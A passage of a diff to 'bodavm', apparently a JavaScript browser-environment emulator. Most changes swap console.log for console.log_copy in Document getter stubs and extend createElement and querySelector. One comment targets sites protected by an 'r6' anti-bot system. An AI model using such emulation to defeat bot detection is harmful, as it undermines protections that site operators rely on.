"!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondurationchange_get = function Document_ondurationchange_get() { console.log("Document_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onended_get = function Document_onended_get() { console.log("Document_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onemptied_get = function Document_onemptied_get() { console.log("Document_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onerror_get = function Document_onerror_get() { console.log("Document_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfocus_get = function Document_onfocus_get() { console.log("Document_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onformdata_get = function Document_onformdata_get() { console.log("Document_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfreeze_get = function Document_onfreeze_get() { console.log("Document_onfreeze_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfullscreenchange_get = function Document_onfullscreenchange_get() { console.log("Document_onfullscreenchange_get ", undefined, "!!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfullscreenerror_get = function Document_onfullscreenerror_get() { console.log("Document_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ongotpointercapture_get = function Document_ongotpointercapture_get() { console.log("Document_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oninput_get = function Document_oninput_get() { console.log("Document_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oninvalid_get = function Document_oninvalid_get() { console.log("Document_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onkeydown_get = function Document_onkeydown_get() { console.log("Document_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onkeyup_get = function Document_onkeyup_get() { console.log("Document_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onload_get = function Document_onload_get() { console.log("Document_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadeddata_get = function Document_onloadeddata_get() { console.log("Document_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadedmetadata_get = function Document_onloadedmetadata_get() { console.log("Document_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onlostpointercapture_get = function Document_onlostpointercapture_get() { console.log("Document_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadstart_get = function Document_onloadstart_get() { console.log("Document_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmousedown_get = function Document_onmousedown_get() { console.log("Document_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseenter_get = function Document_onmouseenter_get() { console.log("Document_onmouseenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseleave_get = function Document_onmouseleave_get() { console.log("Document_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseout_get = function Document_onmouseout_get() { console.log("Document_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseover_get = function Document_onmouseover_get() { console.log("Document_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseup_get = function Document_onmouseup_get() { console.log("Document_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmousewheel_get = function Document_onmousewheel_get() { console.log("Document_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpaste_get = function Document_onpaste_get() { console.log("Document_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpause_get = function Document_onpause_get() { console.log("Document_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onplay_get = function Document_onplay_get() { console.log("Document_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onplaying_get = function Document_onplaying_get() { console.log("Document_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointercancel_get = function Document_onpointercancel_get() { console.log("Document_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerdown_get = function Document_onpointerdown_get() { console.log("Document_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerenter_get = function Document_onpointerenter_get() { console.log("Document_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerleave_get = function Document_onpointerleave_get() { console.log("Document_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerlockerror_get = function Document_onpointerlockerror_get() { console.log("Document_onpointerlockerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerlockchange_get = function Document_onpointerlockchange_get() { console.log("Document_onpointerlockchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointermove_get = function Document_onpointermove_get() { console.log("Document_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerout_get = function Document_onpointerout_get() { console.log("Document_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerover_get = function Document_onpointerover_get() { console.log("Document_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerrawupdate_get = function Document_onpointerrawupdate_get() { console.log("Document_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerup_get = function Document_onpointerup_get() { console.log("Document_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onprogress_get = function Document_onprogress_get() { console.log("Document_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onratechange_get = function Document_onratechange_get() { console.log("Document_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_defaultView_get = function Document_defaultView_get() { + console.log_copy("Document_defaultView_get ->",`res -> window` ) + + return window + } + bodavm.envFunc.Document_doctype_get = function Document_doctype_get() { console.log_copy("Document_doctype_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_embeds_get = function Document_embeds_get() { console.log_copy("Document_embeds_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_featurePolicy_get = function Document_featurePolicy_get() { console.log_copy("Document_featurePolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fgColor_get = function Document_fgColor_get() { console.log_copy("Document_fgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_firstElementChild_get = function Document_firstElementChild_get() { console.log_copy("Document_firstElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fonts_get = function Document_fonts_get() { console.log_copy("Document_fonts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fragmentDirective_get = function Document_fragmentDirective_get() { console.log_copy("Document_fragmentDirective_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreen_get = function Document_fullscreen_get() { console.log_copy("Document_fullscreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreenElement_get = function Document_fullscreenElement_get() { console.log_copy("Document_fullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreenEnabled_get = function Document_fullscreenEnabled_get() { console.log_copy("Document_fullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_lastElementChild_get = function Document_lastElementChild_get() { console.log_copy("Document_lastElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_linkColor_get = function Document_linkColor_get() { console.log_copy("Document_linkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_links_get = function Document_links_get() { console.log_copy("Document_links_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onabort_get = function Document_onabort_get() { console.log_copy("Document_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationend_get = function Document_onanimationend_get() { console.log_copy("Document_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationiteration_get = function Document_onanimationiteration_get() { console.log_copy("Document_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationstart_get = function Document_onanimationstart_get() { console.log_copy("Document_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onauxclick_get = function Document_onauxclick_get() { console.log_copy("Document_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforecopy_get = function Document_onbeforecopy_get() { console.log_copy("Document_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforepaste_get = function Document_onbeforepaste_get() { console.log_copy("Document_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncanplaythrough_get = function Document_oncanplaythrough_get() { console.log_copy("Document_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onchange_get = function Document_onchange_get() { console.log_copy("Document_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onclick_get = function Document_onclick_get() { console.log_copy("Document_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onclose_get = function Document_onclose_get() { console.log_copy("Document_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextlost_get = function Document_oncontextlost_get() { console.log_copy("Document_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextmenu_get = function Document_oncontextmenu_get() { console.log_copy("Document_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextrestored_get = function Document_oncontextrestored_get() { console.log_copy("Document_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncopy_get = function Document_oncopy_get() { console.log_copy("Document_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncuechange_get = function Document_oncuechange_get() { console.log_copy("Document_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncut_get = function Document_oncut_get() { console.log_copy("Document_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondblclick_get = function Document_ondblclick_get() { console.log_copy("Document_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondrag_get = function Document_ondrag_get() { console.log_copy("Document_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragend_get = function Document_ondragend_get() { console.log_copy("Document_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragenter_get = function Document_ondragenter_get() { console.log_copy("Document_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragleave_get = function Document_ondragleave_get() { console.log_copy("Document_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragover_get = function Document_ondragover_get() { console.log_copy("Document_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragstart_get = function Document_ondragstart_get() { console.log_copy("Document_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondrop_get = function Document_ondrop_get() { console.log_copy("Document_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondurationchange_get = function Document_ondurationchange_get() { console.log_copy("Document_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onended_get = function Document_onended_get() { console.log_copy("Document_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onemptied_get = function Document_onemptied_get() { console.log_copy("Document_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onerror_get = function Document_onerror_get() { console.log_copy("Document_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfocus_get = function Document_onfocus_get() { console.log_copy("Document_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onformdata_get = function Document_onformdata_get() { console.log_copy("Document_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfreeze_get = function Document_onfreeze_get() { console.log_copy("Document_onfreeze_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfullscreenchange_get = function Document_onfullscreenchange_get() { console.log_copy("Document_onfullscreenchange_get ", undefined, "!!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfullscreenerror_get = function Document_onfullscreenerror_get() { console.log_copy("Document_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ongotpointercapture_get = function Document_ongotpointercapture_get() { console.log_copy("Document_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oninput_get = function Document_oninput_get() { console.log_copy("Document_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oninvalid_get = function Document_oninvalid_get() { console.log_copy("Document_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onkeydown_get = function Document_onkeydown_get() { console.log_copy("Document_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onkeyup_get = function Document_onkeyup_get() { console.log_copy("Document_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onload_get = function Document_onload_get() { console.log_copy("Document_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadeddata_get = function Document_onloadeddata_get() { console.log_copy("Document_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadedmetadata_get = function Document_onloadedmetadata_get() { console.log_copy("Document_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onlostpointercapture_get = function Document_onlostpointercapture_get() { console.log_copy("Document_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadstart_get = function Document_onloadstart_get() { console.log_copy("Document_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmousedown_get = function Document_onmousedown_get() { console.log_copy("Document_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseenter_get = function Document_onmouseenter_get() { console.log_copy("Document_onmouseenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseleave_get = function Document_onmouseleave_get() { console.log_copy("Document_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseout_get = function Document_onmouseout_get() { console.log_copy("Document_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseover_get = function Document_onmouseover_get() { console.log_copy("Document_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseup_get = function Document_onmouseup_get() { console.log_copy("Document_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmousewheel_get = function Document_onmousewheel_get() { console.log_copy("Document_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpaste_get = function Document_onpaste_get() { console.log_copy("Document_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpause_get = function Document_onpause_get() { console.log_copy("Document_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onplay_get = function Document_onplay_get() { console.log_copy("Document_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onplaying_get = function Document_onplaying_get() { console.log_copy("Document_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointercancel_get = function Document_onpointercancel_get() { console.log_copy("Document_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerdown_get = function Document_onpointerdown_get() { console.log_copy("Document_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerenter_get = function Document_onpointerenter_get() { console.log_copy("Document_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerleave_get = function Document_onpointerleave_get() { console.log_copy("Document_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerlockerror_get = function Document_onpointerlockerror_get() { console.log_copy("Document_onpointerlockerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerlockchange_get = function Document_onpointerlockchange_get() { console.log_copy("Document_onpointerlockchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointermove_get = function Document_onpointermove_get() { console.log_copy("Document_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerout_get = function Document_onpointerout_get() { console.log_copy("Document_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerover_get = function Document_onpointerover_get() { console.log_copy("Document_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerrawupdate_get = function Document_onpointerrawupdate_get() { console.log_copy("Document_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerup_get = function Document_onpointerup_get() { console.log_copy("Document_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onprogress_get = function Document_onprogress_get() { console.log_copy("Document_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onratechange_get = function Document_onratechange_get() { console.log_copy("Document_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_querySelector = function Document_querySelector() { + arg=arguments[0] + if ((!bodavm.memory.cache['Document_querySelector'][arg])){ + bodavm.memory.cache['Document_querySelector'][arg]={} + }else{ + console.log_copy(`Document_querySelector ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Document_querySelector'][arg] + } + select=bodavm.memory.cache['Document_querySelector'][arg] + + let res=this._boarg.querySelector(arg) + select._boarg=res + console.log_copy("Document_querySelector ->",`-> res ->${res}`) - let res=this._boarg.querySelector(arguments[0]) - console.log("Document_querySelector ->",`-> res ->${res}`) - if (res){debugger} + res=bodavm.toolsFunc.setProto(res.nodeName) + // if (res){debugger} return res } bodavm.envFunc.Document_write=function (){ let html = arguments[0] bodaobj.document.write(html) - console.log(`Document_write `, `html ->${html}`); + console.log_copy(`Document_write `, `html ->${html}`); } bodavm.envFunc.Document_createEvent = function Document_createEvent() { // debugger @@ -3587,20 +3805,20 @@ bodavm.memory.Performance={ case 'MOUSEEVENT': event.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype - console.log(`Document_createEvent `, event); + console.log_copy(`Document_createEvent `, event); bodavm.toolsFunc.symbolProperty(event) return event case 'EVENT': event.__proto__ = bodavm.memory.globalobj['Event'].prototype - console.log(`Document_createEvent `, event); + console.log_copy(`Document_createEvent `, event); bodavm.toolsFunc.symbolProperty(event) return event case "TOUCHEVENT": - console.log(`Document_createEvent `, event, ` 该事件只有在触摸平面(触摸屏、触摸板等)才会触发`); + console.log_copy(`Document_createEvent `, event, ` 该事件只有在触摸平面(触摸屏、触摸板等)才会触发`); return bodavm.toolsFunc.throwError('DOMException', `Failed to execute 'createEvent'on 'Document': The provided event type ('TouchEvent') is invalid.`) default: - console.log(`Document_createEvent `, `${arg} 未实现`); + console.log_copy(`Document_createEvent `, `${arg} 未实现`); } @@ -3608,7 +3826,7 @@ bodavm.memory.Performance={ } bodavm.envFunc.Document_scripts_get = function Document_scripts_get() { if (bodavm.memory.collection["scripts"]){ - console.log(`Document_scripts_get 在bodavm.memory.collection[${"scripts"}] 已存在,直接返回`) + console.log_copy(`Document_scripts_get 在bodavm.memory.collection[${"scripts"}] 已存在,直接返回`) return bodavm.memory.collection["scripts"] } // let res = {} @@ -3645,7 +3863,7 @@ bodavm.memory.Performance={ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) @@ -3655,7 +3873,7 @@ bodavm.memory.Performance={ bodavm.memory.collection["scripts"].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection["scripts"]._boarg = taglist - console.log(`Document_scripts_get `, `-> res ->${bodavm.memory.collection["scripts"]}`); + console.log_copy(`Document_scripts_get `, `-> res ->${bodavm.memory.collection["scripts"]}`); bodavm.memory.collection["scripts"].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection["scripts"] } @@ -3667,7 +3885,7 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_forms_get = function Document_forms_get() { if (bodavm.config.isdebug) { debugger };; let forms = this[0]._tagelements["FORM"] - console.log(`Document_forms_get `, `${forms} `); + console.log_copy(`Document_forms_get `, `${forms} `); return forms @@ -3676,7 +3894,7 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_URL_get = function Document_URL_get() { let URL = bodaobj.document["URL"] - console.log(`Document_URL_get `, `${URL} `); + console.log_copy(`Document_URL_get `, `${URL} `); if (bodavm.config.isdebug) { debugger };; return URL } @@ -3693,19 +3911,19 @@ bodavm.memory.Performance={ let minutes = date.getMinutes() let seconds = date.getSeconds() let time = `${month}/${day}/${year} ${hours}->${minutes}->${seconds}` - console.log(`Document_lastModified_get `, `${time} `); + console.log_copy(`Document_lastModified_get `, `${time} `); return time; } bodavm.envFunc.Document_contentType_get = function Document_contentType_get() { let contenttype = bodaobj.document['contentType'] - console.log(`Document_contentType_get `, `${contenttype} `); + console.log_copy(`Document_contentType_get `, `${contenttype} `); if (bodavm.config.isdebug) { debugger };; return contenttype } bodavm.envFunc.Document_inputEncoding_get = function Document_inputEncoding_get() { let inputEncoding = bodaobj.document['inputEncoding'] - console.log(`Document_inputEncoding_get `, `${inputEncoding} `); + console.log_copy(`Document_inputEncoding_get `, `${inputEncoding} `); if (bodavm.config.isdebug) { debugger };; return inputEncoding @@ -3714,16 +3932,49 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let referrer = bodaobj.document["referrer"] - console.log(`Document_referrer_get `, `${referrer} `); + console.log_copy(`Document_referrer_get `, `${referrer} `); return referrer } bodavm.envFunc.Document_createElement = function Document_createElement() { + if (typeof arguments[0] !=='string'){ + return bodavm.toolsFunc.throwError('DOMException',`Failed to execute 'createElement' on 'Document': The tag name provided ('${arguments[0]}') is not a valid name.`) + } let tagName = arguments[0].toLowerCase(); let options = arguments[1]; var dom = {} if (bodavm.config.isdebug) { debugger }; switch (tagName) { + case "option": + dom._boarg = bodaobj.document.createElement('option') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLOptionElement'].prototype) + break; + case "select": + dom._boarg = bodaobj.document.createElement('select') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLSelectElement'].prototype) + break; + + case "ul": + + dom._boarg = bodaobj.document.createElement('ul') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLUListElement'].prototype) + break; + case "h4": + + dom._boarg = bodaobj.document.createElement('h4') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "h3": + + dom._boarg = bodaobj.document.createElement('h3') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "h2": + + dom._boarg = bodaobj.document.createElement('h2') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "div": dom._boarg = bodaobj.document.createElement('div') @@ -3767,7 +4018,13 @@ bodavm.memory.Performance={ dom._boarg = bodaobj.document.createElement('form') dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLFormElement'].prototype) + // dom=new Proxy(dom,{ + // delete(target,porp){ + // debugger + // } + // }) bodavm.memory.formlist.push(dom._boarg) + break; case "p": dom._boarg = bodaobj.document.createElement('p') @@ -3812,10 +4069,10 @@ bodavm.memory.Performance={ dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLInputElement'].prototype) break default: - console.log(`Document_createElement `, `${tagName}属性未实现 `); + console.log_copy(`Document_createElement `, `${tagName}属性未实现 `); break; } - console.log(`Document_createElement `, `tagName->${tagName} `, dom) + console.log_copy(`Document_createElement `, `tagName->${tagName} `, dom) return dom; } @@ -3824,27 +4081,27 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger };; if (bodavm.memory.rs6 && bodavm.memory.rs6_body == 0) { bodavm.memory.rs6_body = 1 - console.log(`Document_body_get `, `当前网站为r6使用该功能,否则请关闭`, `body->${null} `); + console.log_copy(`Document_body_get `, `当前网站为r6使用该功能,否则请关闭`, `body->${null} `); return null } let res =bodavm.memory.cache['Document_body_get'] res._boarg = bodaobj.document.body res.__proto__=HTMLBodyElement.prototype - console.log(`Document_body_get `, `body->${res} `); + console.log_copy(`Document_body_get `, `body->${res} `); return res } bodavm.envFunc.Document_domain_get = function Document_domain_get() { let domain = bodaobj.document["domain"] if (bodavm.config.isdebug) { debugger } - console.log(`Document_domain_get `, `${domain} `) + console.log_copy(`Document_domain_get `, `${domain} `) return domain } bodavm.envFunc.Document_domain_set = function Document_domain_set() { let domain = arguments[0] bodaobj.document["domain"] = domain - console.log(`Document_domain_set `, `${domain} `) + console.log_copy(`Document_domain_set `, `${domain} `) if (bodavm.config.isdebug) { debugger } return domain } @@ -3858,10 +4115,10 @@ bodavm.memory.Performance={ // let value={} value = bodavm.toolsFunc.setProto(res.nodeName) value._boarg = res //防止this丢失 - console.log(`Document_getElementById `, `id->${id}`, ` res->${value}`); + console.log_copy(`Document_getElementById `, `id->${id}`, ` res->${value}`); return value } else { - console.log(`Document_getElementById `, `id->${id}`, ` res->${null}`); + console.log_copy(`Document_getElementById `, `id->${id}`, ` res->${null}`); return null } @@ -3874,7 +4131,7 @@ bodavm.memory.Performance={ // debugger if (bodavm.memory.collection[tagName] && bodavm.memory.collection[tagName].length){ - console.log(`Document_getElementsByTagName 在bodavm.memory.collection[${tagName}] 已存在,直接返回`) + console.log_copy(`Document_getElementsByTagName 在bodavm.memory.collection[${tagName}] 已存在,直接返回`) return bodavm.memory.collection[tagName] } @@ -3916,14 +4173,14 @@ bodavm.memory.Performance={ if (target.__proto__ ==Array.prototype){ return true } - 